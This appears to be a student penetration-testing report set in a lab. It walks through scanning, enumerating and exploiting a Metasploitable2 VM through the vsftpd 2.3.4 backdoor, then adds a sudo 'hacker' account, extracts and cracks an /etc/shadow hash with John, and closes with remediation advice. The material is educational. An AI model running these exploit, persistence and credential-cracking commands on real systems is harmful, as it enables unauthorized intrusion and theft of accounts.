CYBERCRIME AND ETHICAL HACKING PROJECT REPORT

-: Project Title: Penetration Testing and Remediation on a Target System :-

1. Project Objective -

To conduct a structured penetration test using ethical hacking techniques on a deliberately vulnerable virtual machine. The objective is to simulate a real-world attack scenario and then provide recommendations for remediation.

2. Lab Environment -

Component	Details
Attacker Machine	Kali Linux (Latest Version)
Target Machine	Metasploitable2 / DVWA
Network Type	Host-Only or NAT (VMware/VirtualBox)
Target IP	192.168.56.101 (example)

3. Task Breakdown –

TASK 1: BASIC NETWORK SCAN

Purpose:

Identify open and potentially vulnerable ports and services.

Command:

```
nmap -sS -sV -T4 -Pn 192.168.56.101
```

Explanation:

- -sS: SYN scan for stealth scanning.
- -sV: Detect service versions.

- -T4: Speeds up the scan (aggressive).
- -Pn: Skip host discovery (useful if ICMP is blocked).

Expected Output:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	open	telnet	
25/tcp	open	smtp	Postfix smtpd
80/tcp	open	http	Apache httpd 2.2.8
139/tcp	open	netbios-ssn	Samba smbd 3.X
445/tcp	open	microsoft-ds	Samba smbd 3.X
3306/tcp	open	mysql	MySQL 5.0.51a
5432/tcp	open	postgresql	PostgreSQL DB

Open Services Analysis:

- **FTP (21)**: Unauthenticated access or vulnerable versions.
- **SSH (22)**: Brute-force potential.
- **Telnet (23)**: Plaintext login, outdated service.
- **SMTP (25)**: Open relays or banner leaks.
- **HTTP (80)**: Host web vulnerabilities.
- **Samba (139/445)**: Can reveal shares and allow user enumeration.
- **MySQL (3306)**: SQL injection or weak auth.
- **PostgreSQL (5432)**: May be open for brute force.

TASK 2: RECONNAISSANCE

Purpose:

To identify web-based vulnerabilities and sensitive files.

Command:

```
nikto -h http://192.168.56.101
```

Expected Output:

```
+ Server: Apache/2.2.8 (Ubuntu)

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ OSVDB-3092: /admin/: This directory is browsable.

+ OSVDB-877: /phpinfo.php: PHP info file found.

+ /test/: Contains test scripts
```

Hidden Services Example:

- **phpinfo.php**: Often left during development.
- **/test/** or **/backup/** folders may contain credentials or outdated code.

Extra Tool: Dirb

```
dirb http://192.168.56.101
```

TASK 3: ENUMERATION SUMMARY

Purpose:

To gather detailed information about services, users, and shares.

Command (Samba Enumeration):

```
enum4linux -a 192.168.56.101
```

Expected Output:

- Users: admin, user1, guest
- Shares: IPC$, ADMIN$, Public, tmp
- Machine Name: METASPLOITABLE

Example of Hidden Shares:

Share name	Type	Comment
IPC$	IPC	IPC Service
ADMIN$	Disk	Remote Admin
tmp	Disk	Temporary files
Public	Disk	Open directory

TASK 4: EXPLOITATION OF SERVICES

Exploit Example: vsftpd 2.3.4 Backdoor

```
msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.56.101

run
```

Expected Output:

```
[*] Backdoor service has been spawned.

[*] Command shell session 1 opened (192.168.56.102:4444 -> 192.168.56.101:6200)
```

TASK 5: CREATING A PRIVILEGED USER

Command inside Shell:

```
useradd -m hacker

echo 'hacker:hacked123' | chpasswd

usermod -aG sudo hacker
```

To Validate:

```
id hacker
```

Expected Output:

```
uid=1001(hacker) gid=1001(hacker) groups=1001(hacker),27(sudo)
```

TASK 6: CRACKING PASSWORD HASH

Step 1: Extracting hash from /etc/shadow

```
hacker:$6$xyz$hashvalue...:18529:0:99999:7:::
```

Step 2: Save to File

```
echo "hacker:$6$xyz$hashvalue..." > hash.txt
```

Step 3: Crack Using John:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Expected Output:

```
hacked123 (hacker)
```

TASK 7: REMEDIATION AND RECOMMENDATIONS

Summary Table:

Issue	**Risk**	**Recommendation**
vsftpd 2.3.4 with backdoor	Remote shell access	Disable FTP or update to latest version
Web server exposes /phpinfo.php	Sensitive info disclosure	Remove or restrict access
Default users found via enum4linux	Easy brute-force	Remove or rename default accounts
Weak password found	Easy to crack	Use strong, complex passwords
Unused services (Telnet, FTP)	Entry points	Disable or block on firewall
No HTTPS	Man-in-the-middle risk	Use SSL/TLS for all HTTP communication
Open Shares	Info disclosure	Set permissions and audit file shares

---

4. Conclusion

This project demonstrated a typical penetration testing workflow including scanning, enumeration, exploitation, and remediation planning. The vulnerabilities identified are common in many legacy or misconfigured systems and serve as practical learning examples for both aspiring ethical hackers and defenders.
